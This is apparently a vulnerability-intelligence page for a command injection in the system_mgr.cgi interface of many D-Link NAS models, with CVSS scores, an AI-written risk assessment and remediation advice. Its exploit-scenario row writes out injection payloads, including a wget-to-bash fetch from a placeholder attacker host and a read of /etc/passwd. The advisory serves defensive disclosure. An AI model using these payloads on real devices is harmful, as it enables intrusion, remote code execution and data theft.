EUVD-2026-12287Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
6DescriptionCVE.org
A vulnerability was determined in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. This impacts the function cgi_device/cgi_sms_test/cgi_firmware_upload/cgi_ntp_time of the file /cgi-bin/system_mgr.cgi. Executing a manipulation can lead to command injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.
AnalysisAI
Command injection in D-Link NAS devices (DNS-320, DNS-325, DNS-343, DNR-322L and others) through the /cgi-bin/system_mgr.cgi interface allows authenticated remote attackers to execute arbitrary commands. Public exploit code exists for this vulnerability, and no patch is currently available.
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Vulnerability AssessmentAI
| Risk Assessment | CVSS 6.3 (Medium) indicates moderate severity, but multiple signals elevate real-world risk: (1) Attack Vector is Network with Low Complexity and requires only Login privilege (PR:L), meaning any authenticated user—including guest accounts on many D-Link devices—can exploit; (2) Public exploit code is available (E:P) on GitHub, lowering the barrier to weaponization; (3) The CVSS Exploitability rating (E:P, RC:R) suggests proven exploitation is realistic; (4) Command injection on NAS devices typically yields root-level access to sensitive data (user files, backups, credentials), making the actual business impact (C:L/I:L/A:L is understated) more severe than CVSS suggests for confidentiality and integrity; (5) Affected products are legacy/older NAS units many users may not actively patch. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with login credentials (e.g., obtained via default credentials, phishing, or lateral movement within a corporate network) navigates to the web interface of a D-Link DNS-320L NAS device. The attacker crafts a request to /cgi-bin/system_mgr.cgi with a malicious cgi_firmware_upload or cgi_ntp_time parameter containing shell metacharacters, e.g., `; cat /etc/passwd; #` or `$(wget http://attacker.com/malware.sh | bash)`. … |
| Remediation | Patch via firmware update: Check D-Link support website for DNS and DNR model-specific firmware versions released after 20260205. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Share
External POC / Exploit Code
Leaving vuln.today